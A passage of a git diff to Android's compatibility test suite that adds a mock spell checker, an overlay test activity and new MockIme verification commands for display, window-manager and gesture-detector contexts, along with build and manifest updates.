+        for (i in 0 until event.pointerCount) {
+            event.getPointerProperties(i, pointerProperties)
+            assertThat(toolType).isEqualTo(pointerProperties.toolType)
+        }
+    }
+
+    private fun assertTapToolType(toolType: Int) {
+        var event = getMotionEvent()
+        assertThat(event.action).isEqualTo(MotionEvent.ACTION_DOWN)
+        assertToolType(event, toolType)
+
+        event = getMotionEvent()
+        assertThat(event.action).isEqualTo(MotionEvent.ACTION_UP)
+        assertToolType(event, toolType)
+    }
+}
diff --git a/tests/input/src/android/input/cts/OverlayActivity.kt b/tests/input/src/android/input/cts/OverlayActivity.kt
new file mode 100644
index 0000000..a709a4e
--- /dev/null
+++ b/tests/input/src/android/input/cts/OverlayActivity.kt
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.input.cts
+
+import android.app.Activity
+import android.content.Intent
+
+private const val OVERLAY_ACTIVITY_FOCUSED = "android.input.cts.action.OVERLAY_ACTIVITY_FOCUSED"
+
+class OverlayActivity : Activity() {
+    override fun onWindowFocusChanged(hasFocus: Boolean) {
+        super.onWindowFocusChanged(hasFocus)
+        if (hasFocus) {
+            sendBroadcast(Intent(OVERLAY_ACTIVITY_FOCUSED))
+        }
+    }
+}
diff --git a/tests/inputmethod/Android.bp b/tests/inputmethod/Android.bp
index b4fb708..86d78e2 100644
--- a/tests/inputmethod/Android.bp
+++ b/tests/inputmethod/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsInputMethodTestCases",
     defaults: ["cts_defaults"],
@@ -32,10 +28,13 @@
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "CtsMockInputMethodLib",
+        "CtsMockSpellCheckerLib",
         "testng",
+        "kotlin-test",
     ],
     srcs: [
         "src/**/*.java",
+        "src/**/*.kt",
         "src/**/I*.aidl",
     ],
     aidl: {
diff --git a/tests/inputmethod/AndroidManifest.xml b/tests/inputmethod/AndroidManifest.xml
index 3c754de..0c9371c 100644
--- a/tests/inputmethod/AndroidManifest.xml
+++ b/tests/inputmethod/AndroidManifest.xml
@@ -16,65 +16,62 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.view.inputmethod.cts"
-    android:targetSandboxVersion="2">
+     package="android.view.inputmethod.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-    <application
-        android:label="CtsInputMethodTestCases"
-        android:multiArch="true"
-        android:supportsRtl="true">
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+    <application android:label="CtsInputMethodTestCases"
+         android:multiArch="true"
+         android:supportsRtl="true">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name="android.view.inputmethod.cts.InputMethodCtsActivity"
-            android:label="InputMethodCtsActivity">
+        <activity android:name="android.view.inputmethod.cts.InputMethodCtsActivity"
+             android:label="InputMethodCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <activity
-            android:name="android.view.inputmethod.cts.util.TestActivity"
-            android:label="TestActivity">
+        <activity android:name="android.view.inputmethod.cts.util.TestActivity"
+             android:label="TestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <activity
-            android:name="android.view.inputmethod.cts.util.StateInitializeActivity"
-            android:label="StateInitializeActivity">
+        <activity android:name="android.view.inputmethod.cts.util.StateInitializeActivity"
+             android:label="StateInitializeActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <!--
-          In order to test window-focus-stealing from other process, let this service run in a
-          separate process. -->
+                      In order to test window-focus-stealing from other process, let this service run in a
+                      separate process. -->
         <service android:name="android.view.inputmethod.cts.util.WindowFocusStealerService"
-            android:process=":focusstealer"
-            android:exported="false">
+             android:process=":focusstealer"
+             android:exported="false">
         </service>
 
         <service android:name="android.view.inputmethod.cts.util.WindowFocusHandleService"
-                 android:exported="false">
+             android:exported="false">
         </service>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests of android.view.inputmethod"
-        android:targetPackage="android.view.inputmethod.cts">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests of android.view.inputmethod"
+         android:targetPackage="android.view.inputmethod.cts">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index dc81b26..4941b79 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -36,6 +36,15 @@
         <option name="force-install-mode" value="FULL"/>
         <option name="test-file-name" value="CtsMockInputMethod.apk" />
     </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <!--
+            MockSpellChecker always needs to be instaleld as a full package, even when CTS is
+            running for instant apps.
+        -->
+        <option name="force-install-mode" value="FULL"/>
+        <option name="test-file-name" value="CtsMockSpellChecker.apk" />
+    </target_preparer>
     <!--
         TODO(yukawa): come up with a proper way to take care of devices that do not support
         installable IMEs.  Ideally target_preparer should have an option to annotate required
@@ -74,6 +83,8 @@
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.mockime"  />
         <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.mockime" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.view.inputmethod.ctstestapp"  />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.view.inputmethod.ctstestapp" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.view.inputmethod.cts" />
diff --git a/tests/inputmethod/mockime/Android.bp b/tests/inputmethod/mockime/Android.bp
index 9ef4a44..ce60256 100644
--- a/tests/inputmethod/mockime/Android.bp
+++ b/tests/inputmethod/mockime/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_helper_library {
     name: "CtsMockInputMethodLib",
     sdk_version: "test_current",
@@ -45,6 +41,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     static_libs: [
         "androidx.annotation_annotation",
diff --git a/tests/inputmethod/mockime/AndroidManifest.xml b/tests/inputmethod/mockime/AndroidManifest.xml
index 83d8f3f..5978c17 100644
--- a/tests/inputmethod/mockime/AndroidManifest.xml
+++ b/tests/inputmethod/mockime/AndroidManifest.xml
@@ -16,31 +16,29 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.mockime">
+     package="com.android.cts.mockime">
 
-    <application
-        android:multiArch="true"
-        android:supportsRtl="true">
+    <application android:multiArch="true"
+         android:supportsRtl="true">
 
-        <meta-data android:name="instantapps.clients.allowed" android:value="true" />
+        <meta-data android:name="instantapps.clients.allowed"
+             android:value="true"/>
 
-        <service
-            android:name="com.android.cts.mockime.MockIme"
-            android:label="Mock IME"
-            android:permission="android.permission.BIND_INPUT_METHOD">
+        <service android:name="com.android.cts.mockime.MockIme"
+             android:label="Mock IME"
+             android:permission="android.permission.BIND_INPUT_METHOD"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.view.InputMethod" />
+                <action android:name="android.view.InputMethod"/>
             </intent-filter>
-            <meta-data
-                android:name="android.view.im"
-                android:resource="@xml/method" />
+            <meta-data android:name="android.view.im"
+                 android:resource="@xml/method"/>
         </service>
 
-        <provider
-            android:authorities="com.android.cts.mockime.provider"
-            android:name="com.android.cts.mockime.SettingsProvider"
-            android:exported="true"
-            android:visibleToInstantApps="true">
+        <provider android:authorities="com.android.cts.mockime.provider"
+             android:name="com.android.cts.mockime.SettingsProvider"
+             android:exported="true"
+             android:visibleToInstantApps="true">
         </provider>
 
     </application>
diff --git a/tests/inputmethod/mockime/TEST_MAPPING b/tests/inputmethod/mockime/TEST_MAPPING
new file mode 100644
index 0000000..e3b4915
--- /dev/null
+++ b/tests/inputmethod/mockime/TEST_MAPPING
@@ -0,0 +1,15 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsWindowManagerDeviceTestCases",
+      "options": [
+        {
+          "include-filter": "android.server.wm.WindowInsetsAnimationControllerTests"
+        },
+        {
+          "exclude-annotation": "androidx.test.filters.FlakyTest"
+        }
+      ]
+    }
+  ]
+}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
index 4e62194..5f88d27 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
@@ -160,6 +160,15 @@
     }
 
     /**
+     * Returns a matcher to check if the {@code name} is from
+     * {@code MockIme.Tracer#onVerify(String, BooleanSupplier)}
+     */
+    public static Predicate<ImeEvent> verificationMatcher(@NonNull String name) {
+        return event -> "onVerify".equals(event.getEventName())
+                && name.equals(event.getArguments().getString("name"));
+    }
+
+    /**
     * Checks if {@code eventName} has occurred on the EditText(or TextView) of the current
     * activity.
     * @param eventName event name to check
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
index 6731e85..fdeedfc 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
@@ -53,6 +53,7 @@
     private static final String INLINE_SUGGESTION_VIEW_CONTENT_DESC =
             "InlineSuggestionViewContentDesc";
     private static final String STRICT_MODE_ENABLED = "StrictModeEnabled";
+    private static final String VERIFY_GET_DISPLAY_ON_CREATE = "VerifyGetDisplayOnCreate";
 
     @NonNull
     private final PersistableBundle mBundle;
@@ -132,6 +133,10 @@
         return mBundle.getBoolean(STRICT_MODE_ENABLED, false);
     }
 
+    public boolean isVerifyGetDisplayOnCreate() {
+        return mBundle.getBoolean(VERIFY_GET_DISPLAY_ON_CREATE, false);
+    }
+
     static Bundle serializeToBundle(@NonNull String eventCallbackActionName,
             @Nullable Builder builder) {
         final Bundle result = new Bundle();
@@ -290,5 +295,14 @@
             mBundle.putBoolean(STRICT_MODE_ENABLED, enabled);
             return this;
         }
+
+        /**
+         * Sets whether to verify {@link android.inputmethodservice.InputMethodService#getDisplay()}
+         * or not.
+         */
+        public Builder setVerifyGetDisplayOnCreate(boolean enabled) {
+            mBundle.putBoolean(VERIFY_GET_DISPLAY_ON_CREATE, enabled);
+            return this;
+        }
     }
 }
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index cb68f93..01e4a82 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -43,6 +43,8 @@
 import android.util.Log;
 import android.util.Size;
 import android.util.TypedValue;
+import android.view.Display;
+import android.view.GestureDetector;
 import android.view.Gravity;
 import android.view.KeyEvent;
 import android.view.View;
@@ -152,6 +154,16 @@
                     throw new IllegalStateException("command " + command
                             + " should be handled on the main thread");
                 }
+                // The context which created from InputMethodService#createXXXContext must behave
+                // like an UI context, which can obtain a display, a window manager,
+                // a view configuration and a gesture detector instance without strict mode
+                // violation.
+                final Configuration testConfig = new Configuration();
+                testConfig.setToDefaults();
+                final Context configContext = createConfigurationContext(testConfig);
+                final Context attrContext = createAttributionContext(null /* attributionTag */);
+                // UI component accesses on a display context must throw strict mode violations.
+                final Context displayContext = createDisplayContext(getDisplay());
                 switch (command.getName()) {
                     case "getTextBeforeCursor": {
                         final int n = command.getExtras().getInt("n");
@@ -247,6 +259,9 @@
                         final boolean enabled = command.getExtras().getBoolean("enabled");
                         return getCurrentInputConnection().reportFullscreenMode(enabled);
                     }
+                    case "performSpellCheck": {
+                        return getCurrentInputConnection().performSpellCheck();
+                    }
                     case "performPrivateCommand": {
                         final String action = command.getExtras().getString("action");
                         final Bundle data = command.getExtras().getBundle("data");
@@ -311,22 +326,81 @@
                         mInlineSuggestionsExtras = command.getExtras();
                         return ImeEvent.RETURN_VALUE_UNAVAILABLE;
                     case "verifyGetDisplay":
-                        Context configContext = createConfigurationContext(new Configuration());
-                        return getDisplay() != null && configContext.getDisplay() != null;
-                    case "verifyGetWindowManager":
-                        configContext = createConfigurationContext(new Configuration());
-                        return getSystemService(WindowManager.class) != null
-                                && configContext.getSystemService(WindowManager.class) != null;
-                    case "verifyGetViewConfiguration":
-                            configContext = createConfigurationContext(new Configuration());
-                            return ViewConfiguration.get(this) != null
-                                    && ViewConfiguration.get(configContext) != null;
+                        try {
+                            return verifyGetDisplay();
+                        } catch (UnsupportedOperationException e) {
+                            return e;
+                        }
+                    case "verifyGetWindowManager": {
+                        final WindowManager imsWm = getSystemService(WindowManager.class);
+                        final WindowManager configContextWm =
+                                configContext.getSystemService(WindowManager.class);
+                        final WindowManager attrContextWm =
+                                attrContext.getSystemService(WindowManager.class);
+                        return ImeEvent.RETURN_VALUE_UNAVAILABLE;
+                    }
+                    case "verifyGetViewConfiguration": {
+                        final ViewConfiguration imsViewConfig = ViewConfiguration.get(this);
+                        final ViewConfiguration configContextViewConfig =
+                                ViewConfiguration.get(configContext);
+                        final ViewConfiguration attrContextViewConfig =
+                                ViewConfiguration.get(attrContext);
+                        return ImeEvent.RETURN_VALUE_UNAVAILABLE;
+                    }
+                    case "verifyGetGestureDetector": {
+                        GestureDetector.SimpleOnGestureListener listener =
+                                new GestureDetector.SimpleOnGestureListener();
+                        final GestureDetector imsGestureDetector =
+                                new GestureDetector(this, listener);
+                        final GestureDetector configContextGestureDetector =
+                                new GestureDetector(configContext, listener);
+                        final GestureDetector attrGestureDetector =
+                                new GestureDetector(attrContext, listener);
+                        return ImeEvent.RETURN_VALUE_UNAVAILABLE;
+                    }
+                    case "verifyGetWindowManagerOnDisplayContext": {
+                        // Obtaining a WindowManager on a display context must throw a strict mode
+                        // violation.
+                        final WindowManager wm = displayContext
+                                .getSystemService(WindowManager.class);
+
+                        return ImeEvent.RETURN_VALUE_UNAVAILABLE;
+                    }
+                    case "verifyGetViewConfigurationOnDisplayContext": {
+                        // Obtaining a ViewConfiguration on a display context must throw a strict
+                        // mode violation.
+                        final ViewConfiguration viewConfiguration =
+                                ViewConfiguration.get(displayContext);
+
+                        return ImeEvent.RETURN_VALUE_UNAVAILABLE;
+                    }
+                    case "verifyGetGestureDetectorOnDisplayContext": {
+                        // Obtaining a GestureDetector on a display context must throw a strict mode
+                        // violation.
+                        GestureDetector.SimpleOnGestureListener listener =
+                                new GestureDetector.SimpleOnGestureListener();
+                        final GestureDetector gestureDetector =
+                                new GestureDetector(displayContext, listener);
+
+                        return ImeEvent.RETURN_VALUE_UNAVAILABLE;
+                    }
                 }
             }
             return ImeEvent.RETURN_VALUE_UNAVAILABLE;
         });
     }
 
+    private boolean verifyGetDisplay() throws UnsupportedOperationException {
+        final Display display;
+        final Display configContextDisplay;
+        final Configuration config = new Configuration();
+        config.setToDefaults();
+        final Context configContext = createConfigurationContext(config);
+        display = getDisplay();
+        configContextDisplay = configContext.getDisplay();
+        return display != null && configContextDisplay != null;
+    }
+
     @Nullable
     private Bundle mInlineSuggestionsExtras;
 
@@ -397,7 +471,7 @@
                             .detectIncorrectContextUse()
                             .penaltyLog()
                             .penaltyListener(Runnable::run,
-                                    v -> getTracer().onStrictModeViolated(() -> {}))
+                                    v -> getTracer().onStrictModeViolated(() -> { }))
                             .build());
         }
 
@@ -414,7 +488,9 @@
             } else {
                 registerReceiver(mCommandReceiver, filter, null /* broadcastPermission */, handler);
             }
-
+            if (mSettings.isVerifyGetDisplayOnCreate()) {
+                getTracer().onVerify("getDisplay", this::verifyGetDisplay);
+            }
             final int windowFlags = mSettings.getWindowFlags(0);
             final int windowFlagsMask = mSettings.getWindowFlagsMask(0);
             if (windowFlags != 0 || windowFlagsMask != 0) {
@@ -677,6 +753,15 @@
                 () -> super.onUpdateCursorAnchorInfo(cursorAnchorInfo));
     }
 
+    @Override
+    public void onUpdateSelection(int oldSelStart, int oldSelEnd, int newSelStart, int newSelEnd,
+            int candidatesStart, int candidatesEnd) {
+        getTracer().onUpdateSelection(oldSelStart, oldSelEnd, newSelStart, newSelEnd,
+                candidatesStart, candidatesEnd,
+                () -> super.onUpdateSelection(oldSelStart, oldSelEnd, newSelStart, newSelEnd,
+                        candidatesStart, candidatesEnd));
+    }
+
     @CallSuper
     public boolean onEvaluateInputViewShown() {
         return getTracer().onEvaluateInputViewShown(() -> {
@@ -936,6 +1021,12 @@
             recordEventInternal("onCreate", runnable);
         }
 
+        void onVerify(String name, @NonNull BooleanSupplier supplier) {
+            final Bundle arguments = new Bundle();
+            arguments.putString("name", name);
+            recordEventInternal("onVerify", supplier::getAsBoolean, arguments);
+        }
+
         void onConfigureWindow(Window win, boolean isFullscreen, boolean isCandidatesOnly,
                 @NonNull Runnable runnable) {
             final Bundle arguments = new Bundle();
@@ -1001,6 +1092,23 @@
             recordEventInternal("onUpdateCursorAnchorInfo", runnable, arguments);
         }
 
+        void onUpdateSelection(int oldSelStart,
+                int oldSelEnd,
+                int newSelStart,
+                int newSelEnd,
+                int candidatesStart,
+                int candidatesEnd,
+                @NonNull Runnable runnable) {
+            final Bundle arguments = new Bundle();
+            arguments.putInt("oldSelStart", oldSelStart);
+            arguments.putInt("oldSelEnd", oldSelEnd);
+            arguments.putInt("newSelStart", newSelStart);
+            arguments.putInt("newSelEnd", newSelEnd);
+            arguments.putInt("candidatesStart", candidatesStart);
+            arguments.putInt("candidatesEnd", candidatesEnd);
+            recordEventInternal("onUpdateSelection", runnable, arguments);
+        }
+
         boolean onShowInputRequested(int flags, boolean configChange,
                 @NonNull BooleanSupplier supplier) {
             final Bundle arguments = new Bundle();
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index 9a5eba8..56d798f 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -16,12 +16,16 @@
 
 package com.android.cts.mockime;
 
+import static android.inputmethodservice.InputMethodService.FINISH_INPUT_NO_FALLBACK_CONNECTION;
+
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
 import android.app.UiAutomation;
+import android.app.compat.CompatChanges;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
-import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
@@ -31,6 +35,7 @@
 import android.os.HandlerThread;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
+import android.os.UserHandle;
 import android.provider.Settings;
 import android.text.TextUtils;
 import android.view.KeyEvent;
@@ -46,12 +51,12 @@
 import androidx.annotation.Nullable;
 
 import com.android.compatibility.common.util.PollingCheck;
-import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.AssumptionViolatedException;
 
 import java.io.IOException;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 /**
  * Represents an active Mock IME session, which provides basic primitives to write end-to-end tests
@@ -264,6 +269,21 @@
     }
 
     /**
+     * Whether {@link MockIme} enabled a compatibility flag to finish input without fallback
+     * input connection when device interactive state changed. See detailed description in
+     * {@link MockImeSession#setEnabledFinishInputNoFallbackConnection}.
+     *
+     * @return {@code true} if the compatibility flag is enabled.
+     */
+    public static boolean isFinishInputNoFallbackConnectionEnabled() {
+        AtomicBoolean result = new AtomicBoolean();
+        runWithShellPermissionIdentity(() ->
+                result.set(CompatChanges.isChangeEnabled(FINISH_INPUT_NO_FALLBACK_CONNECTION,
+                        MockIme.getComponentName().getPackageName(), UserHandle.CURRENT)));
+        return result.get();
+    }
+
+    /**
      * @return {@link ImeEventStream} object that stores events sent from {@link MockIme} since the
      *         session is created.
      */
@@ -283,7 +303,6 @@
                         .getEnabledInputMethodList()
                         .stream()
                         .noneMatch(info -> getMockImeComponentName().equals(info.getComponent())));
-
         mContext.unregisterReceiver(mEventReceiver);
         mHandlerThread.quitSafely();
         mContext.getContentResolver().call(SettingsProvider.AUTHORITY, "delete", null, null);
@@ -747,6 +766,20 @@
     }
 
     /**
+     * Lets {@link MockIme} to call {@link InputConnection#performSpellCheck()}.
+     *
+     * <p>This triggers {@code getCurrentInputConnection().performSpellCheck()}.</p>
+     *
+     * @return {@link ImeCommand} object that can be passed to
+     *         {@link ImeEventStreamTestUtils#expectCommand(ImeEventStream, ImeCommand, long)} to
+     *         wait until this event is handled by {@link MockIme}
+     */
+    @NonNull
+    public ImeCommand callPerformSpellCheck() {
+        return callCommandInternal("performSpellCheck", new Bundle());
+    }
+
+    /**
      * Lets {@link MockIme} to call {@link InputConnection#clearMetaKeyStates(int)} with the given
      * parameters.
      *
@@ -1044,4 +1077,24 @@
     public ImeCommand callVerifyGetViewConfiguration() {
         return callCommandInternal("verifyGetViewConfiguration", new Bundle());
     }
+
+    @NonNull
+    public ImeCommand callVerifyGetGestureDetector() {
+        return callCommandInternal("verifyGetGestureDetector", new Bundle());
+    }
+
+    @NonNull
+    public ImeCommand callVerifyGetWindowManagerOnDisplayContext() {
+        return callCommandInternal("verifyGetWindowManagerOnDisplayContext", new Bundle());
+    }
+
+    @NonNull
+    public ImeCommand callVerifyGetViewConfigurationOnDisplayContext() {
+        return callCommandInternal("verifyGetViewConfigurationOnDisplayContext", new Bundle());
+    }
+
+    @NonNull
+    public ImeCommand callVerifyGetGestureDetectorOnDisplayContext() {
+        return callCommandInternal("verifyGetGestureDetectorOnDisplayContext", new Bundle());
+    }
 }
diff --git a/tests/inputmethod/mockspellchecker/Android.bp b/tests/inputmethod/mockspellchecker/Android.bp
new file mode 100644
index 0000000..dce4215
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/Android.bp
@@ -0,0 +1,51 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_helper_library {
+    name: "CtsMockSpellCheckerLib",
+    sdk_version: "test_current",
+
+    srcs: [
+        "src/**/*.kt",
+        "src/**/*.proto",
+    ],
+    libs: ["junit"],
+    proto: {
+        type: "lite",
+    },
+    static_libs: [
+        "androidx.annotation_annotation",
+        "compatibility-device-util-axt",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsMockSpellChecker",
+    defaults: ["cts_defaults"],
+    optimize: {
+        enabled: false,
+    },
+    sdk_version: "current",
+    min_sdk_version: "19",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "CtsMockSpellCheckerLib",
+    ],
+}
diff --git a/tests/inputmethod/mockspellchecker/AndroidManifest.xml b/tests/inputmethod/mockspellchecker/AndroidManifest.xml
new file mode 100644
index 0000000..f076bb1
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/AndroidManifest.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.mockspellchecker">
+
+    <application android:multiArch="true"
+                 android:supportsRtl="true">
+
+        <meta-data android:name="instantapps.clients.allowed"
+                   android:value="true"/>
+
+        <service android:name=".MockSpellChecker"
+                 android:label="@string/spell_checker_name"
+                 android:permission="android.permission.BIND_TEXT_SERVICE"
+                 android:exported="false">
+            <intent-filter>
+                <action android:name="android.service.textservice.SpellCheckerService"/>
+            </intent-filter>
+
+            <meta-data
+                android:name="android.view.textservice.scs"
+                android:resource="@xml/spellchecker"/>
+        </service>
+
+        <provider android:authorities="com.android.cts.mockspellchecker.provider"
+                  android:name=".SharedPrefsProvider"
+                  android:exported="true"
+                  android:visibleToInstantApps="true">
+        </provider>
+
+    </application>
+</manifest>
diff --git a/tests/inputmethod/mockspellchecker/res/values/values.xml b/tests/inputmethod/mockspellchecker/res/values/values.xml
new file mode 100644
index 0000000..4accba9
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/res/values/values.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <string name="spell_checker_name">Mock Spell Checker</string>
+</resources>
diff --git a/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml b/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml
new file mode 100644
index 0000000..18f96ada
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<spell-checker xmlns:android="http://schemas.android.com/apk/res/android"
+    android:label="@string/spell_checker_name">
+    <subtype
+        android:label="English"
+        android:subtypeLocale="en"
+        android:languageTag="en-US"
+    />
+</spell-checker>
diff --git a/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/Constants.kt b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/Constants.kt
new file mode 100644
index 0000000..8653e94
--- /dev/null
+++ b/tests/inputmethod/mockspellchecker/src/com/android/cts/mockspellchecker/Constants.kt
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.mockspellchecker
+
+const val TAG = "MockSpellChecker"
+const val PACKAGE = "com.android.cts.mockspellchecker"
+const val AUTHORITY = "com.android.cts.mockspellchecker.provider"
+
